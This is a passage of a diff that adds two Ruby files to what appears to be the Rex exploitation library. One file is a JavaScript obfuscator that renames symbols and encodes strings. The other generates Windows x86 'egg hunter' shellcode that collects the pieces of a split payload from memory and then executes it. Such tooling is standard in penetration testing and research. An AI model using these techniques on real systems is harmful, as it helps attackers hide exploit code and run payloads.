  462. data/lib/rex/ui/progress_tracker.rb +97 -0
  463. data/lib/rex/ui/subscriber.rb +160 -0
  464. data/lib/rex/ui/text/color.rb +98 -0
  465. data/lib/rex/ui/text/dispatcher_shell.rb +538 -0
  466. data/lib/rex/ui/text/input.rb +119 -0
  467. data/lib/rex/ui/text/input/buffer.rb +79 -0
  468. data/lib/rex/ui/text/input/readline.rb +129 -0
  469. data/lib/rex/ui/text/input/socket.rb +96 -0
  470. data/lib/rex/ui/text/input/stdio.rb +46 -0
  471. data/lib/rex/ui/text/irb_shell.rb +62 -0
  472. data/lib/rex/ui/text/output.rb +86 -0
  473. data/lib/rex/ui/text/output/buffer.rb +62 -0
  474. data/lib/rex/ui/text/output/buffer/stdout.rb +26 -0
  475. data/lib/rex/ui/text/output/file.rb +44 -0
  476. data/lib/rex/ui/text/output/socket.rb +44 -0
  477. data/lib/rex/ui/text/output/stdio.rb +53 -0
  478. data/lib/rex/ui/text/output/tee.rb +56 -0
  479. data/lib/rex/ui/text/progress_tracker.rb +57 -0
  480. data/lib/rex/ui/text/shell.rb +403 -0
  481. data/lib/rex/ui/text/table.rb +346 -0
  482. data/lib/rex/zip.rb +96 -0
  483. data/lib/rex/zip/archive.rb +130 -0
  484. data/lib/rex/zip/blocks.rb +184 -0
  485. data/lib/rex/zip/entry.rb +122 -0
  486. data/lib/rex/zip/jar.rb +283 -0
  487. data/lib/rex/zip/samples/comment.rb +32 -0
  488. data/lib/rex/zip/samples/mkwar.rb +138 -0
  489. data/lib/rex/zip/samples/mkzip.rb +19 -0
  490. data/lib/rex/zip/samples/recursive.rb +58 -0
  491. metadata +536 -0
@@ -0,0 +1,336 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/text'
3
+ module Rex
4
+ module Exploitation
5
+
6
+ #
7
+ # Obfuscates javascript in various ways
8
+ #
9
+ class ObfuscateJS
10
+ attr_reader :opts
11
+
12
+ #
13
+ # Obfuscates a javascript string.
14
+ #
15
+ # Options are 'Symbols', described below, and 'Strings', a boolean
16
+ # which specifies whether strings within the javascript should be
17
+ # mucked with (defaults to false).
18
+ #
19
+ # The 'Symbols' argument should have the following format:
20
+ #
21
+ # {
22
+ # 'Variables' => [ 'var1', ... ],
23
+ # 'Methods' => [ 'method1', ... ],
24
+ # 'Namespaces' => [ 'n', ... ],
25
+ # 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ]
26
+ # }
27
+ #
28
+ # Make sure you order your methods, classes, and namespaces by most
29
+ # specific to least specific to prevent partial substitution. For
30
+ # instance, if you have two methods (joe and joeBob), you should place
31
+ # joeBob before joe because it is more specific and will be globally
32
+ # replaced before joe is replaced.
33
+ #
34
+ # A simple example follows:
35
+ #
36
+ # <code>
37
+ # js = ObfuscateJS.new <<ENDJS
38
+ # function say_hi() {
39
+ # var foo = "Hello, world";
40
+ # document.writeln(foo);
41
+ # }
42
+ # ENDJS
43
+ # js.obfuscate(
44
+ # 'Symbols' => {
45
+ # 'Variables' => [ 'foo' ],
46
+ # 'Methods' => [ 'say_hi' ]
47
+ # }
48
+ # 'Strings' => true
49
+ # )
50
+ # </code>
51
+ #
52
+ # which should generate something like the following:
53
+ #
54
+ # <code>
55
+ # function oJaDYRzFOyJVQCOHk() { var cLprVG = "\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64"; document.writeln(cLprVG); }
56
+ # </code>
57
+ #
58
+ # String obfuscation tries to deal with escaped quotes within strings but
59
+ # won't catch things like
60
+ # "\\"
61
+ # so be careful.
62
+ #
63
+ def self.obfuscate(js, opts = {})
64
+ ObfuscateJS.new(js).obfuscate(opts)
65
+ end
66
+
67
+ #
68
+ # Initialize an instance of the obfuscator
69
+ #
70
+ def initialize(js = "", opts = {})
71
+ @js = js
72
+ @dynsym = {}
73
+ @opts = {
74
+ 'Symbols' => {
75
+ 'Variables'=>[],
76
+ 'Methods'=>[],
77
+ 'Namespaces'=>[],
78
+ 'Classes'=>[]
79
+ },
80
+ 'Strings'=>false
81
+ }
82
+ @done = false
83
+ update_opts(opts) if (opts.length > 0)
84
+ end
85
+
86
+ def update_opts(opts)
87
+ if (opts.nil? or opts.length < 1)
88
+ return
89
+ end
90
+ if (@opts['Symbols'] && opts['Symbols'])
91
+ ['Variables', 'Methods', 'Namespaces', 'Classes'].each { |k|
92
+ if (@opts['Symbols'][k] && opts['Symbols'][k])
93
+ opts['Symbols'][k].each { |s|
94
+ if (not @opts['Symbols'][k].include? s)
95
+ @opts['Symbols'][k].push(s)
96
+ end
97
+ }
98
+ elsif (opts['Symbols'][k])
99
+ @opts['Symbols'][k] = opts['Symbols'][k]
100
+ end
101
+ }
102
+ elsif opts['Symbols']
103
+ @opts['Symbols'] = opts['Symbols']
104
+ end
105
+ @opts['Strings'] ||= opts['Strings']
106
+ end
107
+
108
+ #
109
+ # Returns the dynamic symbol associated with the supplied symbol name
110
+ #
111
+ # If obfuscation has not yet been performed (i.e. obfuscate() has not been
112
+ # called), then this method simply returns its argument
113
+ #
114
+ def sym(name)
115
+ @dynsym[name] || name
116
+ end
117
+
118
+ #
119
+ # Obfuscates the javascript string passed to the constructor
120
+ #
121
+ def obfuscate(opts = {})
122
+ #return @js if (@done)
123
+ @done = true
124
+
125
+ update_opts(opts)
126
+
127
+ if (@opts['Strings'])
128
+ obfuscate_strings()
129
+
130
+ # Full space randomization does not work for javascript -- despite
131
+ # claims that space is irrelavent, newlines break things. Instead,
132
+ # use only space (0x20) and tab (0x09).
133
+
134
+ #@js.gsub!(/[\x09\x20]+/) { |s|
135
+ # len = rand(50)+2
136
+ # set = "\x09\x20"
137
+ # buf = ''
138
+ # while (buf.length < len)
139
+ # buf << set[rand(set.length)].chr
140
+ # end
141
+ #
142
+ # buf
143
+ #}
144
+ end
145
+
146
+ # Remove our comments
147
+ remove_comments
148
+
149
+ # Globally replace symbols
150
+ replace_symbols(@opts['Symbols']) if @opts['Symbols']
151
+
152
+ return @js
153
+ end
154
+
155
+ #
156
+ # Returns the replaced javascript string
157
+ #
158
+ def to_s
159
+ @js
160
+ end
161
+ alias :to_str :to_s
162
+
163
+ def <<(str)
164
+ @js << str
165
+ end
166
+ def +(str)
167
+ @js + str
168
+ end
169
+
170
+ protected
171
+ attr_accessor :done
172
+
173
+ #
174
+ # Get rid of both single-line C++ style comments and multiline C style comments.
175
+ #
176
+ # Note: embedded comments (e.g.: "/*/**/*/") will break this,
177
+ # but they also break real javascript engines so I don't care.
178
+ #
179
+ def remove_comments
180
+ @js.gsub!(%r{\s+//.*$}, '')
181
+ @js.gsub!(%r{/\*.*?\*/}m, '')
182
+ end
183
+
184
+ # Replace method, class, and namespace symbols found in the javascript
185
+ # string
186
+ def replace_symbols(symbols)
187
+ taken = { }
188
+
189
+ # Generate random symbol names
190
+ [ 'Variables', 'Methods', 'Classes', 'Namespaces' ].each { |symtype|
191
+ next if symbols[symtype].nil?
192
+ symbols[symtype].each { |sym|
193
+ dyn = Rex::Text.rand_text_alpha(rand(32)+1) until dyn and not taken.key?(dyn)
194
+
195
+ taken[dyn] = true
196
+
197
+ if symtype == 'Classes'
198
+ full_sym = sym['Namespace'] + "." + sym['Class']
199
+ @dynsym[full_sym] = dyn
200
+
201
+ @js.gsub!(/#{full_sym}/) { |m|
202
+ sym['Namespace'] + "." + dyn
203
+ }
204
+ else
205
+ @dynsym[sym] = dyn
206
+
207
+ @js.gsub!(/#{sym}/, dyn)
208
+ end
209
+ }
210
+ }
211
+ end
212
+
213
+ #
214
+ # Change each string into some javascript that will generate that string
215
+ #
216
+ # There are a couple of caveats to using string obfuscation:
217
+ # * it tries to deal with escaped quotes within strings but won't catch
218
+ # things like: "\\"
219
+ # * depending on the random choices, this can easily balloon a short
220
+ # string up to hundreds of kilobytes if called multiple times.
221
+ # so be careful.
222
+ #
223
+ def obfuscate_strings()
224
+ @js.gsub!(/".*?[^\\]"|'.*?[^\\]'/) { |str|
225
+ buf = ''
226
+ quote = str[0,1]
227
+ # Pull the quotes off either end
228
+ str = str[1, str.length-2]
229
+ case (rand(2))
230
+ # Disable hex encoding for now. It's just too big a hassle.
231
+ #when 0
232
+ # # This is where we can run into trouble with generating
233
+ # # incorrect code. If we hex encode a string twice, the second
234
+ # # encoding will generate the first instead of the original
235
+ # # string.
236
+ # if str =~ /\\x/
237
+ # # Always have to remove spaces from strings so the space
238
+ # # randomization doesn't mess with them.
239
+ # buf = quote + str.gsub(/ /, '\x20') + quote
240
+ # else
241
+ # buf = '"' + Rex::Text.to_hex(str) + '"'
242
+ # end
243
+ when 0
244
+ #
245
+ # Escape sequences when naively encoded for unescape become a
246
+ # literal backslash instead of the intended meaning. To avoid
247
+ # that problem, we scan the string for escapes and leave them
248
+ # unmolested.
249
+ #
250
+ buf << 'unescape("'
251
+ bytes = str.unpack("C*")
252
+ c = 0
253
+ while bytes[c]
254
+ if bytes[c].chr == "\\"
255
+ # XXX This is pretty slow.
256
+ esc_len = parse_escape(bytes, c)
257
+ buf << bytes[c, esc_len].map{|a| a.chr}.join
258
+ c += esc_len
259
+ next
260
+ end
261
+ buf << "%%%0.2x"%(bytes[c])
262
+ # Break the string into smaller strings
263
+ if bytes[c+1] and rand(10) == 0
264
+ buf << '" + "'
265
+ end
266
+ c += 1
267
+ end
268
+ buf << '")'
269
+ when 1
270
+ buf = "String.fromCharCode( "
271
+ bytes = str.unpack("C*")
272
+ c = 0
273
+ while bytes[c]
274
+ if bytes[c].chr == "\\"
275
+ case bytes[c+1].chr
276
+ # For chars that contain their non-escaped selves, step
277
+ # past the backslash and let the rand() below decide
278
+ # how to represent the character.
279
+ when '"'; c += 1
280
+ when "'"; c += 1
281
+ when "\\"; c += 1
282
+ # For others, just take the hex representation out of
283
+ # laziness.
284
+ when "n"; buf << "0x0a"; c += 2; next
285
+ when "t"; buf << "0x09"; c += 2; next
286
+ # Lastly, if it's a hex, unicode, or octal escape,
287
+ # leave it, and anything after it, alone. At some
288
+ # point we may want to parse up to the end of the
289
+ # escapes and encode subsequent non-escape characters.
290
+ # Since this is the lazy way to do it, spaces after an
291
+ # escape sequence will get away unmodified. To prevent
292
+ # the space randomizer from hosing the string, convert
293
+ # spaces specifically.
294
+ else
295
+ buf = buf[0,buf.length-1] + " )"
296
+ buf << ' + ("' + bytes[c, bytes.length].map{|a| a==0x20 ? '\x20' : a.chr}.join + '" '
297
+ break
298
+ end
299
+ end
300
+ case (rand(3))
301
+ when 0
302
+ buf << " %i,"%(bytes[c])
303
+ when 1
304
+ buf << " 0%o,"%(bytes[c])
305
+ when 2
306
+ buf << " 0x%0.2x,"%(bytes[c])
307
+ end
308
+ c += 1
309
+ end
310
+ # Strip off the last comma
311
+ buf = buf[0,buf.length-1] + " )"
312
+ end
313
+ buf
314
+ }
315
+ @js
316
+ end
317
+
318
+ def parse_escape(bytes, offset)
319
+ esc_len = 0
320
+ if bytes[offset].chr == "\\"
321
+ case bytes[offset+1].chr
322
+ when "u"; esc_len = 6 # unicode \u1234
323
+ when "x"; esc_len = 4 # hex, \x41
324
+ when /[0-9]/ # octal, \123, \0
325
+ oct = bytes[offset+1, 4].map{|a|a.chr}.join
326
+ oct =~ /([0-9]+)/
327
+ esc_len = 1 + $1.length
328
+ else; esc_len = 2 # \" \n, etc.
329
+ end
330
+ end
331
+ esc_len
332
+ end
333
+ end
334
+
335
+ end
336
+ end
@@ -0,0 +1,321 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/text'
3
+ require 'rex/arch'
4
+ require 'metasm'
5
+
6
+
7
+ module Rex
8
+ module Exploitation
9
+
10
+ ###
11
+ #
12
+ # This class provides an interface to generating an eggs-to-omelet hunter for win/x86.
13
+ #
14
+ # Written by corelanc0d3r <peter.ve@corelan.be>
15
+ #
16
+ ###
17
+ class Omelet
18
+
19
+ ###
20
+ #
21
+ # Windows-based eggs-to-omelet hunters
22
+ #
23
+ ###
24
+ module Windows
25
+ Alias = "win"
26
+
27
+ module X86
28
+ Alias = ARCH_X86
29
+
30
+ #
31
+ # The hunter stub for win/x86.
32
+ #
33
+ def hunter_stub
34
+ {
35
+ # option hash members go here (currently unused)
36
+ }
37
+ end
38
+
39
+ end
40
+ end
41
+
42
+ ###
43
+ #
44
+ # Generic interface
45
+ #
46
+ ###
47
+
48
+ #
49
+ # Creates a new hunter instance and acquires the sub-class that should
50
+ # be used for generating the stub based on the supplied platform and
51
+ # architecture.
52
+ #
53
+ def initialize(platform, arch = nil)
54
+ Omelet.constants.each { |c|
55
+ mod = self.class.const_get(c)
56
+
57
+ next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))
58
+
59
+ if (platform =~ /#{mod.const_get('Alias')}/i)
60
+ self.extend(mod)
61
+
62
+ if (arch and mod)
63
+ mod.constants.each { |a|
64
+ amod = mod.const_get(a)
65
+
66
+ next if ((!amod.kind_of?(::Module)) or
67
+ (!amod.const_defined?('Alias')))
68
+
69
+ if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
70
+ amod = mod.const_get(a)
71
+
72
+ self.extend(amod)
73
+ end
74
+ }
75
+ end
76
+ end
77
+ }
78
+ end
79
+
80
+ #
81
+ # This method generates an eggs-to-omelet hunter using the derived hunter stub.
82
+ #
83
+ def generate(payload, badchars = '', opts = {})
84
+
85
+ eggsize = opts[:eggsize] || 123
86
+ eggtag = opts[:eggtag] || "00w"
87
+ searchforward = opts[:searchforward] || true
88
+ reset = opts[:reset]
89
+ startreg = opts[:startreg]
90
+ usechecksum = opts[:checksum]
91
+ adjust = opts[:adjust] || 0
92
+
93
+ return nil if ((opts = hunter_stub) == nil)
94
+
95
+ # calculate number of eggs
96
+ payloadlen = payload.length
97
+ delta = payloadlen / eggsize
98
+ delta = delta * eggsize
99
+ nr_eggs = payloadlen / eggsize
100
+ if delta < payloadlen
101
+ nr_eggs = nr_eggs+1
102
+ end
103
+
104
+ nr_eggs_hex = "%02x" % nr_eggs
105
+ eggsize_hex = "%02x" % eggsize
106
+
107
+ hextag = ''
108
+ eggtag.each_byte do |thischar|
109
+ decchar = "%02x" % thischar
110
+ hextag = decchar + hextag
111
+ end
112
+ hextag = hextag + "01"
113
+
114
+ # search forward or backward ?
115
+ setflag = nil
116
+ searchstub1 = nil
117
+ searchstub2 = nil
118
+ flipflagpre = ''
119
+ flipflagpost = ''
120
+ checksum = ''
121
+
122
+ if searchforward
123
+ # clear direction flag
124
+ setflag = "cld"
125
+ searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
126
+ searchstub2 = "inc edx"
127
+ else
128
+ # set the direction flag
129
+ setflag = "std"
130
+ searchstub1 = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
131
+ searchstub2 = "dec edx"
132
+ flipflagpre = "cld\n\tsub esi,-8"
133
+ flipflagpost = "std"
134
+ end
135
+
136
+ # will we have to adjust the destination address ?
137
+ adjustdest = ''
138
+ if adjust > 0
139
+ adjustdest = "\n\tsub edi,#{adjust}"
140
+ elsif adjust < 0
141
+ adjustdest = "\n\tadd edi,#{adjust}"
142
+ end
143
+
144
+ # prepare the stub that starts the search
145
+ startstub = ''
146
+ if startreg
147
+ if startreg.downcase != 'ebp'
148
+ startstub << "mov ebp,#{startreg}"
149
+ end
150
+ startstub << "\n\t" if startstub.length > 0
151
+ startstub << "mov edx,ebp"
152
+ end
153
+ # a register will be used as start location for the search
154
+ startstub << "\n\t" if startstub.length > 0
155
+ startstub << "push esp\n\tpop edi\n\tor di,0xffff"
156
+ startstub << adjustdest
157
+ # edx will be used, start at end of stack frame
158
+ if not startreg
159
+ startstub << "\n\tmov edx,edi"
160
+ if reset
161
+ startstub << "\n\tpush edx\n\tpop ebp"
162
+ end
163
+ end
164
+
165
+ # reset start after each egg was found ?
166
+ # will allow to find eggs when they are out of order/sequence
167
+ resetstart = ''
168
+ if reset
169
+ resetstart = "push ebp\n\tpop edx"
170
+ end
171
+
172
+ #checksum code by dijital1 & corelanc0d3r
173
+ if usechecksum
174
+ checksum = <<EOS
175
+ xor ecx,ecx
176
+ xor eax,eax
177
+ calc_chksum_loop:
178
+ add al,byte [edx+ecx]
179
+ inc ecx
180
+ cmp cl, egg_size
181
+ jnz calc_chksum_loop
182
+ test_chksum:
183
+ cmp al,byte [edx+ecx]
184
+ jnz find_egg
185
+ EOS
186
+ end
187
+
188
+ # create omelet code
189
+ omelet_hunter = <<EOS
190
+
191
+ nr_eggs equ 0x#{nr_eggs_hex} ; number of eggs
192
+ egg_size equ 0x#{eggsize_hex} ; nr bytes of payload per egg
193
+ hex_tag equ 0x#{hextag} ; tag
194
+
195
+ #{setflag} ; set/clear direction flag
196
+ jmp start
197
+
198
+ ; routine to calculate the target location
199
+ ; for writing recombined shellcode (omelet)
200
+ ; I'll use EDI as target location
201
+ ; First, I'll make EDI point to end of stack
202
+ ; and I'll put the number of shellcode eggs in eax
203
+ get_target_loc:
204
+ #{startstub} ; use edx as start location for the search
205
+ xor eax,eax ; zero eax
206
+ mov al,nr_eggs ; put number of eggs in eax
207
+
208
+ calc_target_loc:
209
+ xor esi,esi ; use esi as counter to step back
210
+ mov si,0-(egg_size+20) ; add 20 bytes of extra space, per egg
211
+
212
+ get_target_loc_loop: ; start loop
213
+ dec edi ; step back
214
+ inc esi ; and update ESI counter
215
+ cmp si,-1 ; continue to step back until ESI = -1
216
+ jnz get_target_loc_loop
217
+ dec eax ; loop again if we did not take all pieces
218
+ ; into account yet
219
+ jnz calc_target_loc
220
+
221
+ ; edi now contains target location
222
+ ; for recombined shellcode
223
+ xor ebx,ebx ; put loop counter in ebx
224
+ mov bl,nr_eggs+1
225
+ ret
226
+
227
+ start:
228
+ call get_target_loc ; jump to routine which will calculate shellcode dst address
229
+
230
+ ; start looking for eggs, using edx as basepointer
231
+ jmp search_next_address
232
+
233
+ find_egg:
234
+ #{searchstub1} ; based on search direction
235
+
236
+ search_next_address:
237
+ #{searchstub2} ; based on search direction
238
+ push edx ; save edx
239
+ push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
240
+ pop eax ; set eax to 0x02
241
+ int 0x2e
242
+ cmp al,0x5 ; address readable ?
243
+ pop edx ; restore edx
244
+ je search_next_address ; if addressss is not readable, go to next address
245
+
246
+ mov eax,hex_tag ; if address is readable, prepare tag in eax
247
+ add eax,ebx ; add offset (ebx contains egg counter, remember ?)
248
+ xchg edi,edx ; switch edx/edi
249
+ scasd ; edi points to the tag ?
250
+ xchg edi,edx ; switch edx/edi back
251
+ jnz find_egg ; if tag was not found, go to next address
252
+ ;found the tag at edx
253
+
254
+ ;do we need to verify checksum ? (prevents finding corrupted eggs)
255
+ #{checksum}
256
+
257
+ copy_egg:
258
+ ; ecx must first be set to egg_size (used by rep instruction) and esi as source
259
+ mov esi,edx ; set ESI = EDX (needed for rep instruction)
260
+ xor ecx,ecx
261
+ mov cl,egg_size ; set copy counter
262
+ #{flipflagpre} ; flip destination flag if necessary
263
+ rep movsb ; copy egg from ESI to EDI
264
+ #{flipflagpost} ; flip destination flag again if necessary
265
+ dec ebx ; decrement egg
266
+ #{resetstart} ; reset start location if necessary
267
+ cmp bl,1 ; found all eggs ?
268
+ jnz find_egg ; no = look for next egg
269
+ ; done - all eggs have been found and copied
270
+
271
+ done:
272
+ call get_target_loc ; re-calculate location where recombined shellcode is placed
273
+ cld
274
+ jmp edi ; and jump to it :)
275
+ EOS
276
+
277
+ the_omelet = Metasm::Shellcode.assemble(Metasm::Ia32.new, omelet_hunter).encode_string
278
+
279
+ # create the eggs array
280
+ total_size = eggsize * nr_eggs
281
+ padlen = total_size - payloadlen
282
+ payloadpadding = "A" * padlen
283
+
284
+ fullcode = payload + payloadpadding
285
+ eggcnt = nr_eggs + 2
286
+ startcode = 0
287
+
288
+ eggs = []
289
+ while eggcnt > 2 do
290
+ egg_prep = eggcnt.chr + eggtag
291
+ this_egg = fullcode[startcode, eggsize]
292
+ if usechecksum
293
+ cksum = 0
294
+ this_egg.each_byte { |b|
295
+ cksum += b
296
+ }
297
+ this_egg << [cksum & 0xff].pack('C')
298
+ end
299
+
300
+ this_egg = egg_prep + this_egg
301
+ eggs << this_egg
302
+
303
+ eggcnt -= 1
304
+ startcode += eggsize
305
+ end
306
+
307
+ return [ the_omelet, eggs ]
308
+ end
309
+
310
+ protected
311
+
312
+ #
313
+ # Stub method that is meant to be overridden. It returns the raw stub that
314
+ # should be used as the omelet maker (combine the eggs).
315
+ #
316
+ def hunter_stub
317
+ end
318
+
319
+ end
320
+ end
321
+ end